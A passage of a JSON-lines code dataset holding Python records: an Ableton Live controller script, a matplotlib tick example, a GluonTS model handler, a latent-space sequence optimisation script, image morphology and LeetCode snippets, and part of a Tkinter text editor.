(self._lock_button != None):\r\n\t\t\t\t\tif self._locked_to_device:\r\n\t\t\t\t\t\tself._lock_button.turn_on()\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tself._lock_button.turn_off() \r\n\t\t\tself._script.schedule_message(2, self._lock_callback)\r\n\t\r\n\r\n\tdef _bank_up_value(self, value):\r\n\t\tif (not self._script._shift_pressed) and self.is_enabled():\r\n\t\t\tsuper(CodecDeviceComponent, self)._bank_up_value(value)\r\n\t\r\n\r\n\tdef _bank_down_value(self, value):\r\n\t\tif (not self._script._shift_pressed) and self.is_enabled():\r\n\t\t\tsuper(CodecDeviceComponent, self)._bank_down_value(value)\r\n\t\r\n\r\n\tdef _on_off_value(self, value):\r\n\t\tif (not self._script._shift_pressed) and self.is_enabled():\r\n\t\t\tsuper(CodecDeviceComponent, self)._on_off_value(value)\r\n\t\r\n\r\n\tdef _bank_value(self, value):\r\n\t\tif (not self._script._shift_pressed) and self.is_enabled():\r\n\t\t\tsuper(DeviceComponent, self)._bank_value(value)\r\n\t\r\n\r\n\tdef display_device(self):\r\n\t\tif(self._device != None):\r\n\t\t\ttrack = self.find_track(self._device)\r\n\t\t\tif (self.song().view.selected_track is not track):\r\n\t\t\t\tself.song().view.selected_track = track\r\n\t\t\tself.song().view.select_device(self._device)\r\n\t\t\tif ((not self.application().view.is_view_visible('Detail')) or (not self.application().view.is_view_visible('Detail/DeviceChain'))):\r\n\t\t\t\tself.application().view.show_view('Detail')\r\n\t\t\t\tself.application().view.show_view('Detail/DeviceChain')\r\n\t\r\n\r\n\tdef find_track(self, obj):\r\n\t\tif obj != None:\r\n\t\t\tif(type(obj.canonical_parent)==type(None)) or (type(obj.canonical_parent)==type(self.song())):\r\n\t\t\t\treturn None\r\n\t\t\telif(type(obj.canonical_parent) == type(self.song().tracks[0])):\r\n\t\t\t\treturn obj.canonical_parent\r\n\t\t\telse:\r\n\t\t\t\treturn self.find_track(obj.canonical_parent)\r\n\t\telse:\r\n\t\t\treturn None\r\n\t\r\n\r\n\tdef is_locked(self):\r\n\t\treturn self._locked_to_device\r\n\t\r\n\r\n\tdef set_display_device_button(self, button):\r\n\t\tif self._display_device_button != None:\r\n\t\t\tif self._display_device_button.value_has_listener(self._display_device_value):\r\n\t\t\t\tself._display_device_button.remove_value_listener(self._display_device_value)\r\n\t\tself._display_device_button = button\r\n\t\tself._display_device_button.add_value_listener(self._display_device_value)\t\r\n\t\r\n\r\n\tdef _display_device_value(self, value):\r\n\t\tif self.is_enabled():\r\n\t\t\tif value > 0 and self._device != None:\r\n\t\t\t\tself.display_device()\r\n\t\r\n\r\n\tdef disconnect(self):\r\n\t\tif self._display_device_button != None:\r\n\t\t\tif self._display_device_button.value_has_listener(self._display_device_value):\r\n\t\t\t\tself._display_device_button.remove_value_listener(self._display_device_value)\r\n\t\tif self._prev_button != None:\r\n\t\t\tif self._prev_button.value_has_listener(self._nav_value):\r\n\t\t\t\tself._prev_button.remove_value_listener(self._nav_value)\r\n\t\tif self._next_button != None:\r\n\t\t\tif self._next_button.value_has_listener(self._nav_value):\r\n\t\t\t\tself._next_button.remove_value_listener(self._nav_value)\r\n\t\tsuper(CodecDeviceComponent, self).disconnect()\r\n\t\r\n\r\n\tdef set_nav_buttons(self, prev_button, next_button):\t\t\r\n\t\tassert(prev_button == None or isinstance(prev_button, ButtonElement))\r\n\t\tassert(next_button == None or isinstance(next_button, ButtonElement))\r\n\t\tidentify_sender = True\r\n\t\tif self._prev_button != None:\r\n\t\t\tif self._prev_button.value_has_listener(self._nav_value):\r\n\t\t\t\tself._prev_button.remove_value_listener(self._nav_value)\r\n\t\tself._prev_button = prev_button\r\n\t\tif self._prev_button != None:\r\n\t\t\tself._prev_button.add_value_listener(self._nav_value, identify_sender)\r\n\t\tif self._next_button != None:\r\n\t\t\tif self._next_button.value_has_listener(self._nav_value):\r\n\t\t\t\tself._next_button.remove_value_listener(self._nav_value)\r\n\t\tself._next_button = next_button\r\n\t\tif self._next_button != None:\r\n\t\t\tself._next_button.add_value_listener(self._nav_value, identify_sender)\r\n\t\tself.update()\r\n\t\treturn None\r\n\t\r\n\r\n\tdef _nav_value(self, value, sender):\r\n\t\tif self.is_enabled():\r\n\t\t\tif not self._script._shift_pressed:\r\n\t\t\t\tassert ((sender != None) and (sender in (self._prev_button, self._next_button)))\r\n\t\t\t\tif self.is_enabled() and not self.is_locked() and value != 0:\t\t# and (not self._shift_pressed)):\r\n\t\t\t\t\tif ((not sender.is_momentary()) or (value != 0)):\r\n\t\t\t\t\t\tif self._script._device_component != self:\r\n\t\t\t\t\t\t\tself._script.set_device_component(self)\r\n\t\t\t\t\t\tdirection = Live.Application.Application.View.NavDirection.left\r\n\t\t\t\t\t\tif (sender == self._next_button):\r\n\t\t\t\t\t\t\tdirection = Live.Application.Application.View.NavDirection.right\r\n\t\t\t\t\t\tself.application().view.scroll_view(direction, 'Detail/DeviceChain', True)\r\n\t\t\t\t\t\tself.update()\r\n\t\r\n\r\n\tdef update(self):\r\n\t\tsuper(CodecDeviceComponent, self).update()\r\n\t\tif self.is_enabled():\r\n\t\t\tif self._on_off_parameter() != None and self._on_off_button != None:\r\n\t\t\t\tself._on_off_button.send_value(self._on_off_parameter().value > 0)\r\n\t\t\tif self._lock_button != None:\r\n\t\t\t\tself._lock_button.send_value(self.is_locked())\r\n\t\t\tself._script.request_rebuild_midi_map()\r\n\t\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t\t","sub_path":"L9 Python Scripts/Codec_b995_9/CodecDeviceComponent.py","file_name":"CodecDeviceComponent.py","file_ext":"py","file_size_in_byte":6141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"416167854","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\n\n# Fixing random state for reproducibility\nnp.random.seed(19680802)\n\nfig, ax = plt.subplots()\nax.plot(100*np.random.rand(20))\n\nformatter = ticker.FormatStrFormatter('$%1.2f')\nax.yaxis.set_major_formatter(formatter)\nax.yaxis.tick_right()\nfor tick in ax.yaxis.get_major_ticks():\n tick.label1.set_visible(False)\n tick.label2.set_visible(True)\n tick.label2.set_color('green')\n\nplt.show()\n","sub_path":"ticks_labels03.py","file_name":"ticks_labels03.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"633823616","text":"from gluonts.model.deepar import DeepAREstimator\nfrom gluonts.model.simple_feedforward import SimpleFeedForwardEstimator\n\n# from gluonts.model.n_beats import NBEATSEstimator\nfrom gluonts.model.seq2seq import MQCNNEstimator\nfrom gluonts.model.transformer import TransformerEstimator\n\n# from gluonts.model.tft import TemporalFusionTransformerEstimator\nfrom gluonts.mx.trainer import Trainer\n\n# from gluonts.model.trivial.mean import MeanPredictor\nfrom gluonts.model.trivial.identity import IdentityPredictor\nfrom gluonts.model.seasonal_naive import SeasonalNaivePredictor\nfrom gluonts.model.npts import NPTSPredictor\nfrom gluonts_forecasts.custom_models.autoarima import AutoARIMAEstimator, AutoARIMAPredictor\nfrom gluonts_forecasts.custom_models.seasonal_trend import SeasonalTrendEstimator, SeasonalTrendPredictor\nfrom statsmodels.tsa.arima.model import ARIMA\nfrom statsmodels.tsa.exponential_smoothing.ets import ETSModel\nfrom gluonts.mx.distribution import StudentTOutput, GaussianOutput, NegativeBinomialOutput\nfrom gluonts_forecasts.utils import sanitize_model_parameters\n\n\nESTIMATOR = \"estimator\"\nCAN_USE_EXTERNAL_FEATURES = \"can_use_external_feature\"\nCAN_USE_SEASONALITY = \"can_use_seasonality\"\nDEFAULT_KWARGS = \"default_kwargs\"\nTRAINER = \"trainer\"\nPREDICTOR = \"predictor\"\nNEEDS_NUM_SAMPLES = \"needs_num_samples\"\nLABEL = \"label\"\nIS_NAIVE = \"is_naive\"\n\n\nMODEL_DESCRIPTORS = {\n \"trivial_identity\": {\n LABEL: \"TrivialIdentity\",\n CAN_USE_EXTERNAL_FEATURES: False,\n ESTIMATOR: None,\n PREDICTOR: IdentityPredictor,\n TRAINER: None,\n NEEDS_NUM_SAMPLES: True,\n IS_NAIVE: True,\n DEFAULT_KWARGS: {\"num_samples\": 100},\n },\n \"seasonal_naive\": {\n LABEL: \"SeasonalNaive\",\n CAN_USE_EXTERNAL_FEATURES: False,\n ESTIMATOR: None,\n PREDICTOR: SeasonalNaivePredictor,\n TRAINER: None,\n IS_NAIVE: True,\n CAN_USE_SEASONALITY: True,\n },\n \"autoarima\": {\n LABEL: \"AutoARIMA\",\n CAN_USE_EXTERNAL_FEATURES: True,\n ESTIMATOR: AutoARIMAEstimator,\n PREDICTOR: AutoARIMAPredictor,\n TRAINER: None,\n CAN_USE_SEASONALITY: True,\n },\n \"seasonal_trend\": {\n LABEL: \"SeasonalTrend\",\n CAN_USE_EXTERNAL_FEATURES: False,\n ESTIMATOR: SeasonalTrendEstimator,\n PREDICTOR: SeasonalTrendPredictor,\n TRAINER: None,\n CAN_USE_SEASONALITY: True,\n },\n \"npts\": {\n LABEL: \"NPTS\",\n CAN_USE_EXTERNAL_FEATURES: False,\n ESTIMATOR: None,\n PREDICTOR: NPTSPredictor,\n TRAINER: None,\n IS_NAIVE: True,\n },\n \"simplefeedforward\": {\n LABEL: \"FeedForward\",\n CAN_USE_EXTERNAL_FEATURES: False,\n ESTIMATOR: SimpleFeedForwardEstimator,\n TRAINER: Trainer,\n },\n \"deepar\": {\n LABEL: \"DeepAR\",\n CAN_USE_EXTERNAL_FEATURES: True,\n ESTIMATOR: DeepAREstimator,\n TRAINER: Trainer,\n },\n \"transformer\": {\n LABEL: \"Transformer\",\n CAN_USE_EXTERNAL_FEATURES: True,\n ESTIMATOR: TransformerEstimator,\n TRAINER: Trainer,\n },\n \"mqcnn\": {\n LABEL: \"MQ-CNN\",\n CAN_USE_EXTERNAL_FEATURES: True,\n ESTIMATOR: MQCNNEstimator,\n TRAINER: Trainer,\n },\n}\n\n\n# these parameter are classes but are set as strings in the UI\nCLASS_PARAMETERS = {\n \"distr_output\": {\"StudentTOutput()\": StudentTOutput(), \"GaussianOutput()\": GaussianOutput(), \"NegativeBinomialOutput()\": NegativeBinomialOutput()},\n \"model\": {\"ARIMA\": ARIMA, \"ETSModel\": ETSModel},\n}\n\n\nclass ModelParameterError(ValueError):\n \"\"\"Custom exception raised when the GluonTS model parameters chosen by the user are invalid\"\"\"\n\n pass\n\n\nclass ModelHandler:\n \"\"\"\n Class to retrieve the estimator, trainer or descriptor of a GluonTS model\n\n Attributes:\n model_name (str)\n \"\"\"\n\n def __init__(self, model_name):\n self.model_name = model_name\n self.model_descriptor = self._get_model_descriptor()\n\n def _get_model_descriptor(self):\n model_descriptor = MODEL_DESCRIPTORS.get(self.model_name)\n if model_descriptor is None:\n return {}\n else:\n return model_descriptor\n\n def estimator(self, model_parameters, **kwargs):\n default_kwargs = self.model_descriptor.get(DEFAULT_KWARGS, {})\n kwargs.update(default_kwargs)\n model_parameters_sanitized = sanitize_model_parameters(model_parameters.get(\"kwargs\", {}), self.model_name)\n kwargs.update(model_parameters_sanitized)\n estimator = self.model_descriptor.get(ESTIMATOR)\n kwargs = self._convert_parameters_to_class(kwargs)\n try:\n ret = None if estimator is None else estimator(**kwargs)\n except Exception as err:\n raise ModelParameterError(f\"Issue with parameters '{kwargs}' of model '{self.model_name}'. Full error: {err}\")\n return ret\n\n def trainer(self, **kwargs):\n trainer = self.model_descriptor.get(TRAINER)\n try:\n ret = None if trainer is None else trainer(**kwargs)\n except Exception as err:\n raise ModelParameterError(f\"Issue with parameters '{kwargs}' of model trainer for '{self.model_name}'. Full error: {err}\")\n return ret\n\n def predictor(self, **kwargs):\n predictor = self.model_descriptor.get(PREDICTOR)\n try:\n ret = None if predictor is None else predictor(**kwargs)\n except Exception as err:\n raise ModelParameterError(f\"Issue with parameters '{kwargs}' of model predictor for {self.model_name}. Full error: {err}\")\n return ret\n\n def can_use_external_feature(self):\n return self.model_descriptor.get(CAN_USE_EXTERNAL_FEATURES, False)\n\n def can_use_seasonality(self):\n return self.model_descriptor.get(CAN_USE_SEASONALITY, False)\n\n def needs_num_samples(self):\n return self.model_descriptor.get(NEEDS_NUM_SAMPLES, False)\n\n def get_label(self):\n return self.model_descriptor.get(LABEL, \"\")\n\n def _convert_parameters_to_class(self, parameters):\n \"\"\"Evaluate string parameters that are classes so that they become instances of their class \"\"\"\n parameters_converted = parameters.copy()\n for class_parameter, class_parameter_values in CLASS_PARAMETERS.items():\n if class_parameter in parameters_converted:\n if parameters_converted[class_parameter] not in class_parameter_values:\n raise ModelParameterError(\n f\"\"\"\n '{parameters_converted[class_parameter]}' is not valid for parameter '{class_parameter}'.\n Supported values are {list(class_parameter_values.keys())}. \n \"\"\"\n )\n else:\n parameters_converted[class_parameter] = class_parameter_values[parameters_converted[class_parameter]]\n return parameters_converted\n\n\ndef list_available_models():\n \"\"\"List available models names found in the recipe.json (keys of MODEL_DESCRIPTORS).\n\n Returns:\n dict_keys of model names.\n \"\"\"\n available_models = MODEL_DESCRIPTORS.copy()\n return available_models.keys()\n\n\ndef list_available_models_labels():\n \"\"\"List available models labels found in the UI.\n\n Returns:\n List of model names.\n \"\"\"\n available_models = MODEL_DESCRIPTORS.copy()\n available_models_labels = []\n for model in available_models:\n label = available_models[model].get(LABEL)\n if label is not None:\n available_models_labels.append(label)\n return available_models_labels\n\n\ndef get_model_label(model_name):\n model_descriptor = MODEL_DESCRIPTORS.get(model_name)\n if model_descriptor is None:\n return None\n else:\n return model_descriptor.get(LABEL, \"\")\n\n\ndef get_model_name_from_label(model_label):\n available_models = MODEL_DESCRIPTORS.copy()\n return next((model_name for model_name in available_models if available_models[model_name].get(LABEL) == model_label), None)\n","sub_path":"python-lib/gluonts_forecasts/model_handler.py","file_name":"model_handler.py","file_ext":"py","file_size_in_byte":8062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"119953660","text":"import ConfigParser\nimport os\nfrom StringIO import StringIO\n\nhomedir = os.environ['HOME']\ndefault_cfg = StringIO(\"\"\"\n[visual]\nbackground = black\nforeground = white\nsize = 800\ncortex = classic\ndefault_view = lateral\n\n[overlay]\nmin_thresh = 2.0\nmax_thresh = robust_max\n\"\"\")\n\nconfig = ConfigParser.ConfigParser()\nconfig.readfp(default_cfg)\nconfig.read([os.path.expanduser('~/.surfer.cfg'), 'surfer.cfg'])\n","sub_path":"surfer/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"50411696","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport argparse\nimport pandas as pd\nfrom argparse import ArgumentParser\nimport importlib.util\n\n## NEED TO CHANGE THESE FILE PATHS\nspec = importlib.util.spec_from_file_location(\"happynet.models\", \"/home/jar268/happynet_grph/happynet_graph/happynet/models.py\")\nf = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(f)\n\nspec2 = importlib.util.spec_from_file_location(\"utils.data_utils\", \"/home/jar268/happynet_grph/happynet_graph/happynet/utils/data_utils.py\")\nf2 = importlib.util.module_from_spec(spec2)\nspec2.loader.exec_module(f2)\n\n\n\n#TO DO: GET THE REST OF THE MODEL TYPES RUNNING\nIMPLEMENTED_MODELS = [#'lstm',\n #'lstm_aux',\n 'seq2seq_aux',\n 'cnn',\n #'cnn_ae',\n #'cnn_ext'\n ]\n\n####\ndef s2s_enc(seq_csv,loaded_model):\n\ttest_seqs = pd.read_csv(seq_csv)\n\t# tbatch = test_seqs['CDR3']\n\ttbatch = test_seqs.iloc[:,0]\n\tcnt = 0\n\tfor seq in tbatch:\n\t\ttbatch[cnt] = [f2.seq_to_inds(seq)]\n\t\tcnt +=1\n\n\temb = torch.cat(tuple(torch.tensor(i) for i in tbatch),0)\n\tembedded_batch = loaded_model.forward(emb)[1]\n\tprint(embedded_batch.shape)\n\treturn(embedded_batch)\n\ndef cnn_enc(seq_csv,loaded_model):\n\ttest_seqs = pd.read_csv(seq_csv)\n\ttbatch = test_seqs.iloc[:,0]\n\tcnt = 0\n\tfor seq in tbatch:\n\t\ttbatch[cnt] = [f2.seq_to_inds(seq)]\n\t\tcnt +=1\n\temb = torch.cat(tuple(torch.tensor(i) for i in tbatch),0)\n\treturn(emb)\n\ndef s2s_dec(embedding,num_layers=2,num_directions=2,hidden_size=50,seq_len=20):\n\thidden_state = embedding.reshape(-1, num_layers * num_directions, hidden_size)\n\n\t# decoder expecting shape (num_layers * num_directions, batch, hidden_size\n\thidden_state = hidden_state.transpose(0,1)\n\n\t#option 2\n\tcell_state = torch.zeros(hidden_state.shape)\n\n\n\tenc_out = torch.randn(embedding.shape[0], seq_len, hidden_size)\n\tenc_out = enc_out.type_as(hidden_state)\n\n\tdec_out = loaded_model.decode(enc_out, (hidden_state, cell_state))\n\n\t#translate from one-hot to a.a. seq\n\tm = nn.Softmax(2) #compute logsoftmax along seq dimension \n\tsoft = m(dec_out)\n\tmaxx = torch.argmax(soft,dim=2)\n\n\tout = [f2.inds_to_seq(i.tolist()) for i in maxx] #convert indices to amino acids\n\tcnt = 0\n\tfor i in out:\n\t\tout[cnt] = [''.join(i)]\n\t\tcnt+=1\n\treturn(out)\n\n\n\n## this currently performs an optimization loop (k=100) for a single sequence/latent space coordinate.\ndef optimize(embeddings,k=100,lr=1e-6):\n\n\t#embeddings should be shape (batch size,200)\n\n\tfor emb in range(embeddings.shape[0]): #optimization loop for each sequence embedding\n\t\twith torch.enable_grad():\n\t\t\tembeddings = embeddings.type(torch.float)\n\t\t\tprint(embeddings[emb,])\n\t\t\tinput_data = embeddings[emb,].requires_grad_(True)\n\t\t\tfor step in range(k):\n\n\t\t\t\tif cl_args.model== 'cnn':\n\t\t\t\t\tout = model(input_data)[0][1]\n\t\t\t\tif cl_args.model == 'seq2seq_aux':\n\t\t\t\t\tout = model(input_data)\n\n\n\t\t\t\tif not input_data.requires_grad:\n\t\t\t\t\traise ValueError(\"input not gradient-enabled\")\n\t\t\t\tif not out.requires_grad:\n\t\t\t\t\traise ValueError(\"output not gradient-enabled\")\n\n\n\t\t\t\tcriterion = nn.MSELoss(reduction='sum')\n\t\t\t\tloss = criterion(out,input_data)\n\t\t\t\tgrad = torch.autograd.grad(loss,input_data)\n\n\t\t\t\tinput_data2 = input_data.clone()\n\t\t\t\tinput_data2 += grad[0]*lr\n\n\t\t\t\tinput_data = input_data2 #this is because pytorch doesn't allow in-place operations on leaf variables w/ grad=T\n\n\t\t\t\tif step == 0 or step == k-1:\n\t\t\t\t\tprint('loss, rd{}: '.format(step) + str(loss.item()))\n\t\t\t# print(input_data)\n\n\t\tembeddings[emb] = input_data\n\n\treturn(embeddings)\n\n\n\n\nif __name__ == \"__main__\":\n\n\tparser = ArgumentParser(description=\"pass the type of model, the run location (where embeddings are located, if needed), the statedict location, and the seed sequences\")\n\tparser.add_argument('--model', default='seq2seq_aux', type=str)\n\tparser.add_argument('--run_location', default='/home/jar268/happynet_grph/happynet_graph/seq2seq_aux_giffordseq2seq_aux/gifford/2020-10-18-14-39-48/wandb/run-20201018_183948-hdd7a746/happynet_project/hdd7a746/checkpoints/epoch=76.ckpt', type=str)\n\tparser.add_argument('--statedict', default='/home/jar268/happynet_grph/happynet_graph/optim/enrichment_model', type=str)\n\tparser.add_argument('--seed', default='seed_seqs.csv', type=str)\n\n\tcl_args = parser.parse_args()\n\tassert cl_args.model in IMPLEMENTED_MODELS, 'model not implemented'\n\n\n\t## PRE-TRAINED MODEL WEIGHTS LOADING\n\n\tm = f.str2model(cl_args.model)\n\n\tif cl_args.model == 'seq2seq_aux':\n\t\t##TO DO: PULL HPARAMS FROM SAVED MODEL\n\t\thparamss = argparse.Namespace(lr=0.0001,embedding_dim=50,hidden_dim=50,layers=2,probs=0.2,bidirectional=True,reg_ramp=True,alpha_val=0.5)\n\t\tseq2seq = m(hparamss)\n\t\tloaded_model = seq2seq.load_from_checkpoint(cl_args.run_location)\n\t\t#####\n\t\tprint('pre-trained model loaded')\n\t\t## enrichment_model is state_dict created from MLP pre-trained on latent space\n\t\tmodel = nn.Sequential(nn.Linear(200,32),nn.ReLU(),nn.Linear(32,32),nn.ReLU(),nn.Linear(32,1))\n\t\tmodel.load_state_dict(torch.load(cl_args.statedict))\n\t\tprint('regressor loaded')\n\t\tembedded_batch = s2s_enc(cl_args.seed,loaded_model)\n\n\n\tif cl_args.model == 'cnn':\n\t\thparamss = argparse.Namespace(lr=0.0001,embedding_dim=25,hidden_dim=50,layers=2,probs=0.2,bidirectional=True,reg_ramp=True,alpha_val=0.5,input_dim=22,kernel_size=4,seq_len=237)\n\t\tcnn = m(hparamss)\n\t\tloaded_model = cnn.load_from_checkpoint(cl_args.run_location)\n\t\t#####\n\t\tprint('pre-trained model loaded')\n\t\tmodel = loaded_model\n\t\tprint('no regressor')\n\t\tembedded_batch = cnn_enc(cl_args.seed,loaded_model)\n\n\n\t\n\topt = optimize(embedded_batch)\n\tout = s2s_dec(opt)\n\n\tpd.DataFrame(out).to_csv('optimized_sequences.csv')\n\n\n\n\n\n\n\n","sub_path":"grad_asct.py","file_name":"grad_asct.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"637374696","text":"import cv2\nimport matplotlib.pyplot as plt\nfrom morphology import *\n\n# The most important application of mathematical morphology - mending a broken heart.\n\nimg = cv2.imread('shape correction 1.jpg', 0)\nimg1 = binarize(img)\nimg2 = reverse(img1)\nimg3 = morph(img2, 'cl', 1, strel=strel('rect', (30, 30)))\n\nplt.figure('Ex. f - shape correction')\nplt.subplot(131).set_title('a broken heart')\nplt.axis('off')\nplt.imshow(img1, cmap='gray')\nplt.subplot(132).set_title('a binarized & reversed broken heart')\nplt.axis('off')\nplt.imshow(img2, cmap='gray')\nplt.subplot(133).set_title('LOVE IS AN OPEN(ED) DOOR! \\n (although closing is used in this specific example)')\nplt.axis('off')\nplt.imshow(img3, cmap='gray')\n\nplt.show()\n","sub_path":"shape correction 1.py","file_name":"shape correction 1.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"52885403","text":"class Solution(object):\n def firstUniqChar(self, s):\n keys = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n dic = dict.fromkeys(keys, 0)\n for c in s:\n dic[c] += 1\n for i in xrange(len(s)):\n if dic[s[i]] == 1:\n return i\n return -1\n","sub_path":"LeetCode/Solved/oj387.py","file_name":"oj387.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"397364363","text":"\"\"\"\npython-列表解析log分类3.py\nhttp://stackoverflow.com/questions/36182906/regex-matching-of-numbers-and-redirecting-them-to-different-output-files/36185163\n2016年3月26日 01:27:19 codegay\n\"\"\"\nwith open(\"event_1.log\") as f,open(\"0.log\",\"w+\") as f0, open(\"1.log\",\"w+\") as f1:\n isad=lambda r:r.split()[0] in ['a','d']\n is0=lambda r:f0.write(r) if r.split()[1]=='0' else 0\n is1=lambda r:f1.write(r) if r.split()[1]=='1' else 0\n [is0(r) or is1(r) for r in f if isad(r)]\n","sub_path":"log内容分类/python-列表解析log分类3.py","file_name":"python-列表解析log分类3.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"163908937","text":"from variables import *\r\nfrom tkinter import filedialog as fd\r\nfrom tkinter import messagebox as mb\r\nimport os\r\n\r\n\r\nclass Methods(Variables):\r\n \"\"\"Contain all functions for whole application\"\"\"\r\n def get_cursor_pos(self, event=None):\r\n # self.line_counter()\r\n\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n self.textArea = self.nb.children[tab].children['!text']\r\n self.textArea.tag_remove(\"highlight\", '1.0', \"end\")\r\n row, col = self.textArea.index('insert').split('.') # Get current position of the cursor\r\n self.cursor_pos.config(text=f'Ln: {int(row)}, Col: {int(col) + 1}')\r\n # Highlight current line\r\n\r\n self.textArea.tag_add(\"highlight\", f\"{row}.0\", f\"{row}.end+1c\")\r\n # print(self.textArea.get(f\"{row}.0\", f\"{row}.end+1c\"))\r\n self.textArea.tag_config(\"highlight\", background='#d5efeb')\r\n\r\n def proxy(self, *args):\r\n # let the actual widget perform the requested action\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n try:\r\n cmd = (self.nb.children[tab].children['!text']._orig,) + args\r\n result = self.nb.children[tab].children['!text'].tk.call(cmd)\r\n if (args[0] in (\"insert\", \"replace\", \"delete\") or\r\n args[0:3] == (\"mark\", \"set\", \"insert\") or\r\n args[0:2] == (\"xview\", \"moveto\") or\r\n args[0:2] == (\"xview\", \"scroll\") or\r\n args[0:2] == (\"yview\", \"moveto\") or\r\n args[0:2] == (\"yview\", \"scroll\")\r\n ):\r\n self.nb.children[tab].children['!text'].event_generate(\"<>\", when=\"tail\")\r\n # self.line_counter() # scroll text area with canvas\r\n # return what the actual widget returned\r\n return result\r\n except:\r\n print('Exception')\r\n\r\n def line_counter(self, event=None):\r\n \"\"\"Line counter for counting lines in file.\"\"\"\r\n try:\r\n self.canvas.delete('all')\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n i = self.nb.children[tab].children['!text'].index(\"@0,0\")\r\n while True:\r\n dline = self.nb.children[tab].children['!text'].dlineinfo(i)\r\n if dline is None: break\r\n y = dline[1]\r\n linenum = str(i).split(\".\")[0]\r\n self.canvas.create_text(10, y + 3, anchor=\"w\", text=linenum, font=self.customFont, width=0)\r\n text_length = self.canvas.bbox('all') # returns a tuple in the form of (x1, y1, x2, y2)\r\n width = text_length[2] - text_length[0] # x2-x1\r\n self.canvas.config(width=width+15)\r\n i = self.nb.children[tab].children['!text'].index(\"%s+1line\" % i)\r\n # print(self.cursor_pos.cget('pady'), self.statusbar_frame.cget('pady'), )\r\n except:\r\n self.canvas.delete('all')\r\n\r\n tab_counter = 1\r\n filename_list = []\r\n def add_tab(self, event=None, file=None, isonlyfile=0):\r\n \"\"\"Add new tab Notebook widget\"\"\"\r\n tab1 = Frame(self.nb, width=0)\r\n tab1.pack()\r\n # font_style = \"Consolas\"\r\n # font_size = 15\r\n # customFont = tkFont.Font(family=font_style, size=font_size)\r\n tab_width = self.customFont.measure(' ')\r\n print(tab_width)\r\n text = Text(tab1, font=self.customFont, wrap='none', width=0, undo=True, tabs=tab_width)\r\n # Horizontal Scrollbar on text area\r\n y_scrollbar = Scrollbar(tab1, orient='vertical', command=text.yview,\r\n width=13, relief='flat')\r\n text.config(yscrollcommand=y_scrollbar.set)\r\n # y_scrollbar.config(command=text.yview)\r\n y_scrollbar.pack(side='right', fill='y')\r\n\r\n x_scrollbar = Scrollbar(tab1, orient=HORIZONTAL, width=13)\r\n text.config(xscrollcommand=x_scrollbar.set)\r\n x_scrollbar.config(command=text.xview)\r\n x_scrollbar.pack(side=BOTTOM, fill=X)\r\n text.pack(fill='both', expand=1)\r\n self.tab_counter += 1\r\n\r\n\r\n if isonlyfile is 1:\r\n filename = os.path.basename(file.name)\r\n print(file.name)\r\n self.nb.add(tab1, text=filename)\r\n self.nb.select(tab1)\r\n f = open(file.name)\r\n text.insert(\"1.0\", f.read())\r\n text.edit('reset')\r\n text.edit_modified(arg=False)\r\n f.close()\r\n elif file and isonlyfile == 0:\r\n filename = os.path.basename(file)\r\n print(file)\r\n self.nb.add(tab1, text=filename)\r\n self.nb.select(tab1)\r\n f = open(file)\r\n text.insert(\"1.0\", f.read())\r\n text.edit('reset')\r\n text.edit_modified(arg=False)\r\n f.close()\r\n else:\r\n self.nb.add(tab1, text=f'Untitled -{self.tab_counter}')\r\n self.nb.select(tab1)\r\n\r\n text.bind('', self.increase_font)\r\n text.bind('', self.decrease_font)\r\n text.bind(\"\", self.font_reset)\r\n text.bind(\"\", self.font_reset)\r\n text.bind(\"\", self.get_cursor_pos)\r\n\r\n text.bind('', self.undo)\r\n text.bind('', self.undo)\r\n text.bind('', self.redo)\r\n text.bind('', self.redo)\r\n text.bind('', self.select_all)\r\n text.bind(\"<>\", self.modify)\r\n self.main_window.bind('', self.select_all)\r\n\r\n text.bind(\"<>\", self.line_counter)\r\n # self.tab_counter += 1\r\n # self.nb.add(tab1, text=f'Untitled -{self.tab_counter}')\r\n\r\n # text.focus_force()\r\n self.get_cursor_pos()\r\n\r\n\r\n #\r\n # # lst.append('untitled')\r\n #\r\n text._orig = text._w + \"_orig\"\r\n text.tk.call(\"rename\", text._w, text._orig)\r\n text.tk.createcommand(text._w, self.proxy)\r\n\r\n def increase_font(self, event=None):\r\n \"\"\"For increase font of the editor and line number\"\"\"\r\n if self.font_size <= 60:\r\n self.font_size += 1\r\n self.customFont.config(size=self.font_size)\r\n self.main_window.update()\r\n self.line_num_frame.update()\r\n self.statusbar_frame.update()\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n self.nb.children[tab].children['!text'].config(font=self.customFont)\r\n\r\n def decrease_font(self, event=None):\r\n # global font_style, font_size\r\n if self.font_size >= 10:\r\n self.font_size -= 1\r\n 